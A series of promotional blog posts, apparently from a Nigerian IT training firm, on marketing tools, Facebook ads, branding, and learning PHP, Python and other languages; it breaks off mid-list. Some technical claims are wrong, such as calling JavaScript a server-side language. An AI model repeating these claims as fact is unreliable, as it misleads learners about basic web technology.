7 most effective Digital marketing tools to be considered before launching a campaign

INTRODUCTION:

Come to think of it, most digital marketers spend 8 hours a week on emails and working on marketing data which adds up to 416 hours a year which you spend on these repetitive tasks alone. Not as if that figure even account for content creation, distribution, and other outreach efforts.

You really may not be able to cram extra hours into your weeks, but with the help of the right tools, you can reduce the time spent on each marketing tasks.

On the other hand, knowing the meaning of a budget as an entrepreneur or maybe just a start up, you also will probably know that in order to get your business idea off the ground, you will have to reach your chosen audience at the right time and in the right proportion and to help you do this cheaply or let me rather say affordable without compromising the quality of your marketing efforts, I’ve compiled a list of my top 7 free marketing tools every entrepreneur should know in these 21 centuries.

 

  1. Chattypeople

Looking at how Chatbots have made their mark in the marketing world this year and despite many still believing that the chatbot is just a customer care tool, others are seeing it as a must-have in their marketing strategies.

Well, it will interest you to know that Chatbot technology has improved significantly in the past decade, allowing marketers to create bots without any coding knowledge. Chattypeople, on the other hand, is the perfect tool for those wanting to quickly create a Messenger chatbot.

This unique platform allows entrepreneurs to create a bot that not only works seamlessly with Facebook but also pushes promotions to customers on demand.

With these chatbots, you will be able to:

– Make use of Facebook Messenger and comments to push customers through your sales funnel

– Take orders directly from Facebook

– Gather data about your customers to keep them up-to-date with relevant products

  1. MailChimp

When it comes to email marketing, I consider it an important aspect of any business’s marketing strategy. With an email marketing tool such as MailChimp, you will be able to move and retain your audience through your sales funnel more effectively with a higher level of control.

MailChimp as a powerful marketing tool will allow you to:

– Build on your marketing strategy by connecting your email campaigns directly to your website

– Use your purchase data to send more personalized emails to further grow your business

– Integrate with Facebook to find new subscribers and reconnect with current ones

– Create a level of automation

– Gather feedback from MailChimp reports

  1. PromoRepublic

This is a free-to-try social media content builder and posting tool which provides users with more than 100,000 ideas, templates and visuals for stunning Facebook, Instagram, Twitter and LinkedIn posts anyone can imagine. On this platform, there are lots of social media templates that are made by a team of professional designers and copywriters and users can pick from any template and easily customize templates with a built-in graphics editor.

Using PromoRepublic you get:

– Library with 100,000 post templates and visuals

– Calendar of post ideas for every day with holidays, days from history, trending topics and events

– Drag-and-drop graphics editor to customize stunning templates and create posts from scratch

– Auto-posting and scheduling to Facebook, Instagram, Twitter, LinkedIn

  1. Hotjar

Diving away from social media marketing for a while, we have Hotjar on our next components to use as it is a powerful tool that will help you analyze your website’s performance. It also tells you everything you need to know about all activities as well as how visitors are spending their time on your website. This tool primarily operates through heat maps that give you insights on the clicks that occur on each page and the parts of a page that are most popular.

Some of Hotjar’s features are:

– The recording of cursor movements and placements on various pages

– A conversion funnel that tells you where most visitors left your website

  1. Buffer

Social media remains one of the most important and powerful parts of any marketing strategy. That said, social media management is a full-time job in itself, and if you are starting your own business, you will most likely not have time to spend your entire week on Facebook, Twitter, Instagram, Pinterest, and every other platform now available. Buffer, a social media management tool, will help you save time by allowing you to schedule posts on each platform in advance. The tool automatically publishes your content according to your chosen schedule, and from there, you can analyze its performance from one page.

  1. Yoast

Yoast does more than assist you in getting all right with your contents, it also aids you with the tools to fully optimize every aspect of your website. Yoast to me is a great informant and butt slapper which basically tells you everything you need to know about organic marketing on your website. Yoast is a unique and easy to use WordPress plugin.

Yoast will:

–        Give your page an SEO ranking

–        Help you write meta descriptions

–        Use a traffic light system to tell you what you are missing and what you are doing well

–        Give you a readability score to help your improve your SEO ranking

 

  1. Hello Bar

Lastly, let me introduce you to ‘Hello Bar’, a simple tool that will help you convert your visitors into customers by easily creating banners that highlight your most important content, products, services and messages to your clients and visitors. All you need do is to just log in and select a goal; that’s all.

With Hello Bar, you can choose to:

–        Promote a specific offer or sale

–        Encourage website visitors to call your company

–        Grow your mailing list

–        Expand your social media connections

–        Create a customized goal specifically for your business

CONCLUSION

To drag this to a close, I will say that this comprehensive range of tools is being used and recommended by industry experts across the world. By implementing the above into your digital marketing strategy, you will be able to automate your marketing efforts and reach your audience effectively without compromising quality, giving you the chance to focus on the operational aspects of your new business venture.

Should you want to learn more and expand your knowledge on this field, do well to enrol for a professional training now.

Visit www.soutechventures.com

The facebook marketing secret you may be missing

INTRODUCTION
As we all know or should I rather say, as we all may know, marketing happens to be the key to success for every business and if you’re already an entrepreneur or planning to launch your start-up this year, it’s crucial to have your marketing strategy in place right away.
Just as it is important to plan on the expenses you will incur while setting up your business, it’s also very important that you set a clear marketing budget and as well try one marketing channel at a time to see the ROI and decide whether to keep at it or move on.
If you ask me, I will gladly say that Facebook is popularly known lately as FB is a very powerful but affordable marketing tool where audience targeting is made easy depending on what you want and what you can afford.
I personally believe Facebook advertisements will surpass all other digital marketing channels in before the end of 2017.
Because of their wide reach and relatively low cost or I better say affordable costing, Facebook ads are effectively one of the trendiest online advertising tools. Just when people believe they have figured it out, Facebook is going to surprise them with something new they didn’t know and may never occur to them it might change their strategic approach forever.

TIT & TATS
Here are the 8 secrets involved in Facebook marketing and why it makes the most sense for businesses to use Facebook to advertise their products.

1. UTILIZE SEASONS AND TIMES:
I realized later that there is a secret in Facebook bids as they are extremely sensitive to seasonality and this means that things either get better or gets worst depending on the season and also on what you are marketing.
It’s been noted that the whole Facebook algorithm is solely built on a bidding system that determines a price of an impression based on multiple variable factors.
What an account bidding on a specific target amounts to is one of the factors that influence the price the most. For example, the more people bid on a specific target, the more expensive an impression will be which is why seasons like Christmas, Black Friday etc usually have a higher cost per click.

2. EGG-STAGE BRAND AWARENESS
When you have a working Facebook account, hiring a PR can be little of no use as it can work a lot like PR if managed strategically to deliver purpose. The Brand Awareness Ad objective available on Facebook uses a combination of real-time proxy metrics with which users give to a campaign to provide brands with maximum exposure.

These gestures if started early is always likely to be critical in boosting advertising because campaigns can later have a bigger audience swiftly through an capture attention across the board to get in front of people most likely to be interested in your brand.

3. DON’T KEEP YOUR CUSTOMERS/CLIENTS WAITING
During the traditional marketing days or what many will rather term as the old days, when businesses wanted to reach out to their customer base for feedback on products or services, they would have to go through manual pains like direct-mail voting polls or cold call surveys etc which make us in today’s world say gladly that those days are over as brands need to look no further than stick to just social media.
While Facebook makes it easy for businesses to simply post a question on their status and sit back and watch for the comments, it is, however, pathetic that many leave their customers with question marks on their head un-attended to.
Facebook is great for companies looking to get an impression of their image and product quickly so they can see what works and what doesn’t without a hassle and this is best known when you keep the engagement with your customers lively.
Don’t just keep them waiting, if possible, reply the messages and comments just as it comes in. chances are that they are trying the product or services right away and need a guide.

4. GROW WITH THE BRAND
You can boldly say that Facebook is improving by the day and no one will heckle you for that. Notably, in the last four years, the number of users has doubled and triples, the future is looking very bright and there will be more users to show your content to and advertising will likely keep getting better and cheaper if you choose to grow with the brand and utilize all the components that come within.
In the last year alone, Facebook has launched a number of new features such as:


– Facebook Live Video
– Facebook Professional Services
– Facebook at Work
– Improved Search
– Uber/Lyft integration
– Facebook Shopping Tab
– Instant Articles
– Facebook Events
– Non-profit crowd funding
– Music Stores

This is have been a very exciting time for Facebook as well as for business owners and entrepreneurs too as it is an opportunity for everyone to grow with the brand, brace themselves and prepare to make these features a significant part of their marketing strategies.

CONCLUSION
In conclusion, there is no mincing word that Facebook is here to stay and off-course there are no lies about that and It’s amazing to think that what started as a simple way to stay in touch with people and just chat with friends has turned into a platform that connects people and brands all across the world.
Keep your eyes down and keep your ears open for every new development about how Facebook can help build your business for the future.

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Cheers!

How to develop a powerful brand

INTRODUCTION

Like I stated in my introductory segment of this topic, I made mention that humans have frequent needs as well as occasional needs in life and in many cases, these human needs arise in seasonal behaviours or some other change factors. In respect to this, it is okay for one to also say that they are varied in a number of ways such as day-to-day living needs, social needs, health and medication needs, contemporary lifestyle needs, to name a few. According to this need-based market segmentation, the brands are diversified in different sectors such as personal care, home care, commodities, entertainment, healthcare, pharmaceutical, luxuries, and services.

 

COMMON ELEMENTS OF A BRAND

First of all, when preparing to build a powerful brand, there are eight essential elements one should include in values listing and they are listed below:

  1. Brand Name:

This is what the people get to see everywhere. It must be as simple and memorable as possible, meaningful, easy to pronounce, and unique.

  1. Logo:

This can be anything from a piece of text to the abstract designs. It may be entirely unrelated to the corporate activities. It must be relevant to the product or service, iconic, and attractive.

  1. Tone:

This is how the seller communicates with the consumer. It can be professional, friendly, or formal. It builds consumer’s perception about the brand.

  1. Jingle:

It must be pleasant to hear and hum, relevant to the product, easy to remember, and easy to understand over a large age group to connect the consumer with the brand.

  1. Slogan:

It summarizes overall value proposition. It should be short, easy to remember, and catchy. For example, KFC’s slogan is “Finger-Lickin’ Good” and Britannia’s is “Eat Healthily, Think Better”.

  1. Packaging:

It needs to be catchy and advertising, drawing people to see the product inside. Also, it needs to be compact, yet attractive.

  1. Universal Resource Locator (URL):

It forms the domain name on the internet. A seller can register all prospective variations of brand name URLs or can buy the existing URL of a business.

  1. Characters/Mascots:

It is a special symbol, either still, animated, or real-life entity such as an animal or a human character. For example, Vodafone’s Zoozoo characters are played in its

 

BRAND AWARENESS

Another factor to be considered when planning to build a powerful brand which I will love to discuss is what is simply termed as the ‘Brand Awareness’ and the following measures depict the extent to which a brand is widely known among consumers which are the actual awareness:

  1. Association Anchors: Depending upon the brand strength, associations can be attached to the brand which influences brand awareness.
  2. Familiarity: The consumers familiar with a brand will speak more about it and thus, influence brand awareness.
  3. Substantial: Consumers’ review on brand brings substantial and strong commitment towards the brand.
  4. Consumer’s Consideration: At the time of purchasing, the consumer looks for a particular brand.

PERCEIVED QUALITY

Away from the brand awareness and being my last in this series, I will love to add that one other thing one should bring into the picture here is the exact ‘how’ a consumer will or should perceive the product in terms of the product quality because it is no news that a failed product which is the content carried through branding have it all to say about a brand and how far it can go and grow.

It is the extent to which a brand is believed to provide quality products. It can be measured on the following criteria:

  1. Quality: The quality itself is the reason to buy.
  2. Brand Position: This is a level of differentiation as compared to competing brands. Higher the position, higher is the perceived quality.
  3. Price: When the quality of the product is too complex to assess and consumer’s status comes into the picture, the consumer takes price as a quality indicator.
  4. Wide Availability: Consumers take the widely available product as a reliable one.
  5. The number of Brand Extensions: The consumers tend to take a brand with more extensions as a measure of product guarantee.

 

See you next time when I return to another interesting topic and more on Branding and Brand management…

Cheers!

Don’t’ Take Little Things For Granted – 6 Mistakes Every Marketing Expert And Consultant Make You Shouldn’t

Why should you take little things for granted if you truly understand how and what it takes to keep your brand on top of the list? You see when I first started blogging and a supporting social media for it, I made a ton of rookie marketing mistakes.

Once I accidentally posted a random family and cat moments article to my company’s corporate Facebook page, which had nothing to do with cats.

But the funniest thing is that this cat article got better engagement than our own “highly-targeted” content. Well, I guess cute animals always bring in lots of engagement, but that was not the kind of engagement we were looking for.

On this note, I realized this may not just be a mistake on my end, maybe someone else just did same or maybe we just call it ‘nothing’ and completely taking what seems to be the little for granted.

So I decided to list and explain here some major, and oh-so-common, marketing mistakes I made that might be putting your social media following and other marketing components growth at risk. They might just make you or break you, and have a much more significant negative effect on your digital presence than an accidental cat post.

  1. You need to come up with new content constantly.

While you do need to post something consistently, you don’t have to reinvent the wheel every time. Take your most popular blog post and reuse the content by creating an infographic, creating a video, developing a webinar or podcast series to further expand on the topic. The possibilities are endless.

If you recycle your content occasionally, you’ll have a wealth of content in different media. Different forms of content will also attract new audiences who prefer one content form over another. It will also make social media post ideas easier to come up with once you have a wealth of options.

  1. Don’t bother collecting emails if you’re not sending out newsletters.

You might not be planning on having a newsletter right now, but maybe in a year, you will. Start collecting emails even if you don’t see an immediate use for them. Your email list is still your biggest asset; this is a single digital marketing channel that brings in the best ROI.

People who are willing to share their email address with you signal their interest in your content or possible products. Don’t reject their interest, because once you have a product, a launch, or just a simple newsletter, you’ll be able to let these people know. Email communication is a great way to send them back to the website and build a base of constant readers.

  1. You have to be on all popular platforms.

Seriously consider which social media platforms to use. You don’t have to be on every single platform that’s hot right now. If you have limited resources — such as time, money and staff — concentrate on a couple of proven networks.

Instead of spreading yourself thinly, build meaningful connections and impressive following on just a couple of networks, where you can consistently bring value and quality. Think about your content and where it would be most appropriate. If your content is highly visual, use Pinterest or Instagram. If you’re producing videos, use YouTube. If you provide timely industry updates, consider Twitter.

  1. Social media is free:

Of course, you can slowly build your following organically. There is still some kind of stigma, where if companies promote their content it’s looked down upon. Well, smart marketers understand the need to boost their content reach to see real results.

Never promote your stuff just to be seen by anyone. Use highly-targeted strategies that will ensure that your content is seen by the audiences who need to see it. Then, it’s well-justified.

  1. Sharing new content once.

This one is probably the biggest mistake I made for so long! You create this beautiful piece of content; you work so hard on it to make perfect. You post it. You share it once on all your social media platforms… and then you forget about this piece… Um, what? You’ve worked so hard on it to show it to the world once?

You have to post the content more than once to ensure that a lot of people see it. If your audience is not online when you post it, they just missed it. Experiment with different copy, headings, and images for social updates. Share your older posts you feel especially proud of.

  1. Don’t get personal online.

While no one wants to read your rants or complaints or see obsessive amounts of cute cat photos, showing your human side is ok.

Things like interests are usually pretty safe. If you’re a sports fan, show your team colours once in a while. If you like to cook, share an amazing recipe you loved. If you’re a photography hobbyist, share a snapshot you took. This will bring your audience closer to you. You might be surprised at how much engagement you can get on a simple post talking about your interests and hobbies because passion is what really drives humans.

Social media is about being social, so encourage conversation, encourage information exchange and sharing. Because, you know, sharing is caring.

We share this because we care about you as well… enrol for a professional course today visit www.soutechventures.com/courses.

 

Why you should learn PHP

PHP? Yeah, PHP which stands for hypertext processor is one of the widely used backend object oriented programing language, and despite its security controversies, PHP is still used on over two hundred million websites in the world.

Learning PHP is easy and just like any other programing language, mastery will rely on practice and determination. Regardless if you are coming from another programing language environment or having no experience in programing language, PHP is the perfect language to learn if you intend diving into and becoming familiar with the web development processes within a short time.

Popular websites such as Yahoo, Wikipedia, and Facebook were initially written in PHP, and many still run on PHP. Many open source Content Management Systems such as Joomla, Open Cart, Drupal including world most used and largest CMS community, WordPress are all running on PHP.

PHP supports a good number of database option such as MySQL and PostgreSQL to DB2, Access, Oracle, firebase and more. Building applications couldn’t be easier than doing it with a framework. There are lots of PHP frameworks such as Yii, Zend, Laravel, CakePHP, Symphony etc. These frameworks come with built-in functions, libraries and components that make building PHP applications fun, swift and easy.

PHP is an open source programming language with a large community of volunteered developers and support which makes it easier to get references and help. PHP usually runs on Linux servers which are very cost effective and widely used.

The fact that some known websites run on PHP including popular and widely used CMSs, there is always a demand for developers who can maintain, update and keep developing these websites.

WordPress for example, powers the largest number of content management websites, thereby creating job opportunities for PHP developers ranging from themes and plugins to snippets and widgets.

Freelancing is another great way to make a living out of PHP. There is and has all ways been a high demand for PHP developers in the freelance market.

Fiverr.com, Upwork.com and Freelance.com are few among the many websites where freelance PHP developers’ showcases and exchange their skills for profits. Themeforest and CodeCanyon are also few amongst the many marketplaces for PHP applications.

 

 

 

There lots of applications to build, and solutions to solve using PHP, few among them includes;

  1. Content Management System (CMS)
  2. Forum
  3. Social Media Script
  4. Polls
  5. User membership management systems
  6. Photo gallery
  7. Form validation
  8. Instagram filters
  9. Authentication
  10. Booking and ticketing software
  11. Live chat system
  12. Financial analysis

 

PHP works well with UNIX, LINUX and windows platform making it easy and the right choice for cross-platform applications. Also, there are a lot of free editors out there that you can use for your PHP programming.

Now you have seen some of the reasons and advantages of learning PHP. It is a language that is loved by developers and helps organisations to extend their creativity unlimitedly. Would you want to learn PHP today? Let us know your thought. #itiswhatwedo

The current trend in web development

Standing aside and observe is a no no in this age of modern information technologies development. You want to be at the centre of events in order not to miss a thing. It is necessary to acquire knowledge from all relevant sources and always be up-to-date if you do not want to be on the rewind. 2017 is fast travelling to an end and the internet is really busy creating lots of fireworks for 2018 and this simply means that 2018 will definitely bring something new in the field of web development.

The web development trends are changing rapidly. Yesterday multi-page websites were popular, today the trend for simplicity has brought single-page apps back on the top, artificial intelligence and bots are in high demand and completion as well. Here are some trends you should be aware of when building or rebuilding your website.

Progressive Website Applications

Progressive Web Apps has experienced enormous development and recognition since 2015. PWAs are websites that feel like native mobile apps, reliable, fast and engaging. One important feature is the service worker which is written in JavaScript and acts like a client-side proxy. Users have no slow-respond once the site is loaded and can save a shortcut on their home screen if they frequently use the site. PWAs has been on trend since 2016 and 2018 await the hype around this new but promising technology.

Helpful Bots

2017 has witnessed successful improvement of bots which are now intended to become more direct and personalized so as to deliver a better user experience. Chatbots have been improved to react more human-like especially when you are shopping, it greets you, give advice and make suggestions of products, making it a must for every e-commerce site.

Welcome back Static, goodbye Flash

Well, I must say even before Steve Jobs published his thoughts concerning flash in 2010, most developers already knew that flash was not going to stay for so long. With giant global players such Google’s YouTube and Netflix switched from flash to HTML5, and flash not supported in some mobile phones, I don’t think most developers would really consider flashing an option when developing applications. We should be expecting better improvement in HTML5, especially HTML5 canvas.

Remember the early years of the world wide web? Websites then were static. The arrival of dynamic websites made websites become more functional, interactive and easier to update. Well, I think static websites are coming back, only that they have been improved by static site generators, some of which allow the combination of a Static Website and a CMS.

Languages

There are lots of languages to pick from when developing applications, but there question developers often ask is; on what framework can I write with it? Thanks to JavaScript which has been on the rise since 2016 giving developers the opportunity to work on chat box and progressive web applications, virtual reality, and many other trending things. If there should be one ubiquitous language in web development is should be JavaScript.

Frameworks

It doesn’t only make production swift, it makes it scalable reusable and organizes the codes in a more streamlined way. Frameworks are the big rescue for developers. For instance, writing PHP is as good as writing Python, but using a framework such as Laravel for PHP or Django for Python is awesome. It’s like having all the ingredients prepared and ready for your use. Frameworks enable a developer to complete a one-day program within an hour while writing lesser codes. CSS frameworks such as SASS and Compass are marking their mark by encouraging stable coding, introducing nesting block, real variables and mix-ins.  A completely different way to look into design and layouts.

Conclusion

Nowadays having a website is more important for the company than having a physical office.

Being ahead of web development trends simply means attracting new customers, while satisfying existing customers and encouraging older customers to return.

If you are thinking of designing or re-designing your website, bringing it to Soutech Web Consult is a great idea for a start. Enroll today!

5 New reasons for you to learn python

Believe it or not, Python has been there and is still going to be there. One of the most widely used high level and multi-style programing language. Python supports imperative programming, functional and objects oriented programming styles. The 28 years old programing language has standard libraries that offer lots of functionality that make it possible to implement complex applications extremely easy. This easy to learn programing language is responsible for most complex applications and it doesn’t matter if you are new to programming or a seasoned programmer, you must have definitely heard of Python. If you still don’t know why you should choose to learn Python, the following five reasons will convince you.

#1 Easy to learn and use

Python, which derived its name from a popular British comedy “Monty Python” is really fun to learn. Unlike other programming languages, Python is very easy and quick to learn not to mention that the language is extremely fast to use. Python code is readable and it requires less code to complete a basic task.

With little knowledge, a developer can actually learn a lot simply by observing the code. Needless to say, most developers learned Python in the process of learning how to code a python framework. It is the only language you can easily learn, write simple code and build complex applications at same time.

#2 Versatility

Python provide adequate flexibility and functionality for both new and experienced programmers, having a syntax specifically adapted for human readability. It apparently has native binding to C, very concise in the number of lines with no type declarations and very much less verbose as compared to other object-oriented programming languages. Learning Python could be a stepping stone as it set you up appropriately to adopt any other language or environment easily.

Python has an extensive standard library that contains built-in modules written in C and provides access to different system functionalities. In the programming world, support extremely crucial and the python is not only amongst the largest in the world but also one of the best in the world. Python is open source with lots of open source frameworks available for application testing and also backed by PyPI, a repository of over 85,000 Python modules and scripts available for immediate use. The modules execute pre-packaged functionalities that solve diverse challenges such as implementing computer version, working with databases, executing advanced data analytics and building RESTful web services.

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# 3 Everyone love Python

A significant number of tech giants such as IBM, Nokia, Google, Mozilla, Yahoo! and many others including NASA comprehensively rely on Python. The existence of these companies proves that there is always a search and demand for talents with knowledge of python. Small companies who intend to make their mark in the I.T. world will definitely require Python professionals as well.

# 4 Start-ups has no worries

Creating an outstanding product can be done using any programming language, but there are always considerations. Start-ups don’t have the robust resources most big players have and are therefore required to provide solutions to client’s challenges using available resources within and short time-frame. Now, if you are to build a complex application for the web, mobile or non-app based, what language does that easily for you? Python!

#5 Welcome to the web

Web programming with Python is a lot of fun for a developer. The Python architecture makes well thought out, well design and robust with big developer ecosystem with available debugging tools. Python frameworks include Pylons, Django, We2py, TurboGears, Grok, flask etc. with Django as the most popular framework preferred for Python web development.

Start learning Python today

To start learning Python today is easy as visiting Soutech Web Consult today is all you need to get started, enroll for a Python training class and start coding.

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4 Important Pages of a Standard Website: How to design professional websites

Web sites are very most important and crucial to businesses and services of an individual or organisation. It serves as the global front door, an access point for everyone from the different parts of the world that want’s to reach out to you, your business or services.

A lot of considerations are put-in when building a website. Things like the standard or non-standard styles, generic and non-generic contents, links, buttons, menu and navigation items, etc. But those are not what I want to discuss here. In this article, we will look into the Four significant pages that are crucial to your website.

#1 The Home page

The home page is the most important part of a website as it gives you the opportunity to summarize your business and services at a glance. This page should be precise and explanatory as possible, engaging and interesting because it goal should center on grabbing the visitor’s attention with few seconds.  Call-to-actions (CTA) also helps in engaging visitors to your website. A brief clarification on how your services will be of benefit to the visitor.

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#2 About page

This is the platform where you talk about you. The user might navigate to this page for diverse reasons. How legit the business or services is, what actually does the business offers, who is/are behind the business or services, does it even serve my niche or location, what about their success and how long have they been in existence? All these are potentials question from visitors who might have gotten interested and want to know more. Though this page is for the details of the business or services, a lot of people has neglected the use of CTA on this page. Visitors want to know more about you so they can take actions proper optimisation of this page should be considered. A “soft-sell” reminder for the visitor to take action after know about the business would be nice.

#3 Contact page

If a visitor finally picks interest in your business or services, the next thing they would look for is the contact page. This page must be very easy to locate, appealing and should have as many options as possible to enable visitors to choose how they can reach you. While a contact form is great, it is also important to have an instant chat, phone number(s), even an embedded map. Do not forget social links and badges.

#4 Blog

While the home page serves as an overview and the about us more details, the blog can do all three. This is where you can display importance and values of grouped or single product, services and engage you visitors or existing customer by updating them with new services and products. A blog is a section where you gain trust and admiration from both your visitors or existing customers. You can hire professionals to write reviews of your products or explain how a service works in details. The comment from visitors and customer will also position you toward delivering to their aspirations.

Conclusion

It is very important to put all the above into consideration when analyzing, building or maintaining your website. While some website may not require a blog, the product and Service pages can take the part of the blog, detailing the products and services in a professional way that will make the visitors want to take action instead of contacting a representative to ask for some information about a product or service of their interest. Also, observe your most visited pages so as to figure out where the hits are coming from and why they are visiting the page, it is a good way to know what your visitors want and how to give it to them.

Contact us to to become a professional website designer, Learn Ethical Hacking, Become an expert Digital marketing executive, Learn how to do growth hacking, Learn Graphics & Branding, Advanced Excel. Call us today: 08034121380, or visit our courses page on www.soutechventures.com/courses

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Soutech Career Tips

Career Tips: Stop Searching for job, let the jobs come to you

Nothing feels good like waking up in the morning and receiving an email or SMS from a reputable organisation that “you are needed for immediate employment”. Yeah, how about an increase on your desired or stated take-home pay? Believe it or not, it does happen, not only in the movies but in real life. Being good at what you are is not only about a rhetorical philosophy, it is more of doing it than thinking of doing it. There reason many people still search for a job today is because they aren’t doing what they needed to do or what is required to land them the job.

The first Step

There are ways by which you can make jobs look for you, but everything has a starting point. While formal education is a priority and basic need for any individual, the world record still has it that most successful didn’t just make their mark out of what formal education gave them. They research, analyse and act. You can just sit down and expect a job to look for you when you are still struggling to get one with your “Static CV”.

Talking about research, the world is vast evolving. We have witness automated machines replacing the traditional teller positions in the financial institutions. The world is going smart, you should if you want to keep up with the pace and do not forget to follow the trend. Informational technology has significantly changed the way we think, live and do things. One thing that can be applied to any activity, process or function is Technology. So, I would say adapting to Information technology as a fundamental aspect of your career is the first step to take.

Mobile Application development training @ Soutech Web Consult is the one training you will never want to miss. Call 08034121380 for more info and reservation.

What Can I do with Information Technology?

Like seriously, do people still ask this question in today’s world? There are tons of things you can do with I.T. and I would say a lot of them hasn’t even been invented yet. Heard of Mark Zurchaberg? He is termed one of the most influential people in the world. He did not study psychology, he learned how to code and put it in use, then it gives birth to Facebook, he nurtured it and it blooms.  Information technology is very complex which is why I am limiting this article to programming and applications development. Tactically, I would say programming remains the vital and integral part of I.T. For instance, what makes a computer function as an operating system (OS), is a programmed software with specific written instructions to accept user inputs and execute commands. Most programming languages were conceived to solve the need of automation and increase productivity.

Unmanned aircraft (drones), robotics, machine learning, mobile applications, web applications, agricultural analysis, gadgets, forecasting, process automation, etc. are among the things you can do with information technology.

Turning the table around

One good thing about information technology is that learning processes of some phases in I.T are somewhat affordable and easy to skilled. If you are into financials for instance, it will take you less than 2 weeks to learn how to use the Microsoft Excel effectively at Soutech Web Consult.

Soutech also offers the following I.T. pieces of training: CEH, Web Applications Development, Mobile App Development, Web Design, Digital Marketing, etc. These trainings are affordable and easy to grasp, but the question is; are you ready to act?

Soutech Career Tips

 how to change your resume

Although many available vacancies today require computer literacy, the fact remains that almost all organisation desire to go digital. Employers see your resume as someone who needs their impact, rather than a key player that will impact in their organisation, because you resume reads like any other individuals’. Changing the way employers look at your resume is simple, learn a skill, practice it, be good at it, prove yourselves and land you a job. Some high demanded positions include; I.T personnel, digital marketer, application tester, front-end developers, database administrators, Web designer, and administrator, to mention few with a lot of start-ups seeking for applications/products that could give them leads.

What Next?

How about moving from unemployed to a freelancer? Another good thing that comes with I.T skills is that it gives you the opportunity to choose who you work for. There are many freelance portals where you can showcase your skills, knowledge and services for hire. Websites, where you can also sell your developed scripts and software, are available.

So which one is you; act now and turn the table around, or keep doing something you have been doing over and over again, expecting a different result?

Website Design Soutech

Designing Websites the Smart Way

Gone are the days when everyone thinks you are cool just because you can build websites. Today, features and functionalities are what makes a website awesome. Today, some organisations have almost substituted their physical offices for a website. If you intend to globalize your business and services, then you should definitely be talking about having a website.

Who needs a website

Before we start looking into how you can easily build a website, let’s define who should have a website. It doesn’t matter if you are running an eatery, a supermarket or you are a freelance consultant, having a website is a great way to say “hello world” look, am here. The internet is flocked with numerous testimonies from individuals and organisation who are happy to say that the internet has transformed their business and services. Well, actually their first step was to have a website, a global representation of who they are, what they do and the solutions they provide.

Do you know that you can be a professional website designer within one month? Do not miss out the ‘live’ website design training @ Soutech Web Consult Area 1, Abuja. Coming on Tuesday. Call 08034121380 Now.

The Contents can be Managed

Well, learning how to code before you can be able to build a website seems more like an old term. In other words, gone are the days when one must learn how to code in order to build websites. Robust development on popular open source content management systems such as WordPress, Joomla, Drupal etc. had made CMS the first choice when considering building a data-driven complex website within minimal time. Also, the emergence of online website builders such as SiteBuilder, WIX, Weebly etc. most of which has options for building both static and content management, has all together re-framed how websites are being built.

The smart strategy

Being smart is not about spending a huge amount of time learning different kinds of programming languages, and not just all about using a CMS or a free website building to build a website. That is just doing it fast but not actually smart except you apply the smart strategies in the process. If you must build a website with CMS, be smart enough to choose a platform with a large community and huge amount of support. Believe me when I say you will be thankful you did.

Third party components and plugins play a vital role when building websites with CMS. Come on, you choose CMS because you want to get the job done quickly right? So it doesn’t make any sense if you have to spend additional time writing additional code or scripts for features that will have to work with your choice of CMS. You should embrace a CMS that gives you the option to possibly make use of many components and plugins.

Some little spicy-spicy

It doesn’t matter if you choose a CMS, Website builder or just writing your own codes, building a website requires creativity. The theme, plugins, components, and add-ons are all there, but that is not enough. So how do we bring all these together? To build a successful website, you must understand clearly, the purpose of the website. This will give you a clear insight to know what kind of theme, layout and colours to choose, necessary plugins, add-ons and components to use. The good thing is all these has been built already, just waiting for you to put them in the right place.

Just want to code it?

There are a good number of open source frameworks that make building a website easy for developers. These frameworks are designed for automation and support web development, web services, resources and APIs. Code reuse and libraries make code and file organisation very easy. Frameworks are shipped with useful tools that make tasks like form validation, database abstraction, IO filtering, sessions and cookie handling looks like eating chocolate. Like I stated earlier if you must use a framework, choose one with a great community for support.

How to be smart

The first step is to know how to use the necessary tools, which is why Soutech Web Consult is offering you the opportunity to skill-up and start living the smart life. Take a web design training and start building amazing websites or a web development training and unlock opportunities that lie within you.

Soutech Web Consult

7 Best Programing Language to Learn Against 2018

The high increase demands of modern applications have made applications development and all-time seasoned career choice with lots of new applications, technologies and languages emerging in the competitive Information technology world. In this article, I have listed seven best languages that would wind you up and enhance your skills and knowledge as you choose to step into the world of applications development.

#1 JavaScript

If you want to become a successful application developer, then JavaScript should definitely be your best friend like it or. Most global I.T giants make use of JavaScript almost every day. It is a server-side language used to manipulate the browser, adding interactive features to applications.

JavaScript is the most commonly used programming language in the world with the latest version (ES2017) released in June 2017. Someone who is familiar with JavaScript can build things like mobile applications, games, human-machine interactions such as text to speech. With the current high demand for mobile and simplify application development, JavaScript is likely a language worth investing time and resource to learn.

Do not miss the Soutech 1o1 Website Design Training coming up next week. For more information call 08034121380.

#2 Python

Well, I would say if you really want to be limitless on your journey to becoming an application developer, then you should definitely embrace python. I must say, Python is not a language that limits you to becoming a web developer, it is a programing language you must have in mind when you think of a computer science or engineering career at large.

Python is used to write simple scripts such web crawlers and chat box to advance software such key loggers and other surveillance software. It has proven reliable for automated processes and can be used in networking management.   It can be used for robotics programming, creating GUI software, games and there some frameworks that use its language for application development such as Django, Flask, Pyramid etc. I think python should be a foundational language for application developers.

#3 Java

The first time I heard the name Java, what went through my mind was game. Yeah, and I guess I am not the only one who had thought such of Java. To some extent, I wasn’t actually wrong at all.

Java is a compiled and interpreted object oriented language which makes it significantly fast. it is written to run on diverse devices such as computers, mobile, smart cards, space vehicles, biometric devices etc. No doubt huge number of machines around the world and even in space runs on Java. It’s scalability, stability and maintainability have made it a demand for mostly large applications. Becoming a Java developer means you must learn the Java programing language and get familiar with the Java Serverlet APIs. Java is used for building robots, GUI based programs and a lot of automation for machines and devices. It also has some frameworks that can be used for web development and can be used for database connectivity as well.

#4 PHP

Everyone loves PHP.

PHP is not only the most popular server-side programming language in the world but also the language that powers most content management systems (CMS). WordPress, Joomla, OpenCart, Drupal, etc. all are written in PHP.  With PHP, one can build powerful web applications such as chat apps and chat bots, calendars, forum, booking, ticketing and image processing apps. The emergence of various PHP frameworks such as Yii, CakePHP, Symphony, Laravel, etc. make it easier to perform Object Oriented Programming and developing content management systems. The latest version of PHP which is PHP 7.1 was released in December 2016

#5 C++

C++ is a general-purpose object-oriented programming (OOP) language, developed by Bjarne Stroustrup, and designed for writing huge systems.  It can also be coded in a “C style” or “object-oriented style.” C++ can be used for developing computer applications such as 3D games, operating systems, graphics, web browsers, compilers and computation platforms.

#6 C#

